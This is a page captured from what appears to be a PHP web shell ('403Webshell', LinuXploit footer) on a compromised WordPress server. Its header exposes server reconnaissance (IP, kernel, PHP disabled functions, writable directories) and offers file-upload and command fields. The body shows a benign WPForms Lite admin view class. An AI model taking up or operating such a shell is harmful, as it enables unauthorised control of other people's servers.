403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.216.219
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : www ( 1000)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.3/wp-content/plugins/wpforms-lite/src/Admin/Tools/Views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.3/wp-content/plugins/wpforms-lite/src/Admin/Tools/Views/EntryAutomation.php
<?php

namespace WPForms\Admin\Tools\Views;

use WPForms\Admin\Education\Admin\Tools\EntryAutomation as Education;

/**
 * Class EntryAutomation.
 *
 * @since 1.9.6.1
 */
class EntryAutomation extends View {

	/**
	 * View slug.
	 *
	 * @since 1.9.6.1
	 *
	 * @var string
	 */
	protected $slug = 'entry-automation';

	/**
	 * Init view.
	 *
	 * @since 1.9.6.1
	 */
	public function init(): void {

		( new Education() )->init();

		$this->hooks();
	}

	/**
	 * Register hooks.
	 *
	 * @since 1.9.6.1
	 */
	private function hooks(): void {

		add_filter( 'admin_body_class', [ $this, 'body_classes' ] );
	}

	/**
	 * Add body classes for the view.
	 *
	 * @since 1.9.6.1
	 *
	 * @param string $classes Existing body classes.
	 *
	 * @return string
	 */
	public function body_classes( string $classes ): string {

		if ( ! wpforms_is_admin_page( 'tools', 'entry-automation' ) ) {
			return $classes;
		}

		return $classes . ' wpforms-admin-tools-view-entry-automation';
	}

	/**
	 * Get view label.
	 *
	 * @since 1.9.6.1
	 *
	 * @return string
	 */
	public function get_label(): string {

		return esc_html__( 'Entry Automation', 'wpforms-lite' );
	}

	/**
	 * Checking user capability to view.
	 *
	 * @since 1.9.6.1
	 *
	 * @return bool
	 */
	public function check_capability(): bool {

		/**
		 * Check if the user has the capability to view this entry automation.
		 *
		 * @since 1.9.6.1
		 *
		 * @param bool $capability Whether the user has the capability to view this entry automation.
		 */
		return (bool) apply_filters(
			'wpforms_admin_tools_views_entry_automation_check_capability',
			wpforms_current_user_can() && wpforms()->obj( 'addons' )->get_addon( 'entry-automation' )
		);
	}

	/**
	 * Display view content.
	 *
	 * @since 1.9.6.1
	 */
	public function display(): void {
		?>
		<div class="tools wpforms-settings-row-entry-automation">
			<div class="wpforms-entry-automation-content">
				<?php
					/**
					 * Display the content.
					 *
					 * @since 1.9.6.1
					 */
					do_action( 'wpforms_admin_tools_views_entry_automation_display' );
				?>
			</div>
		</div>
		<?php
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit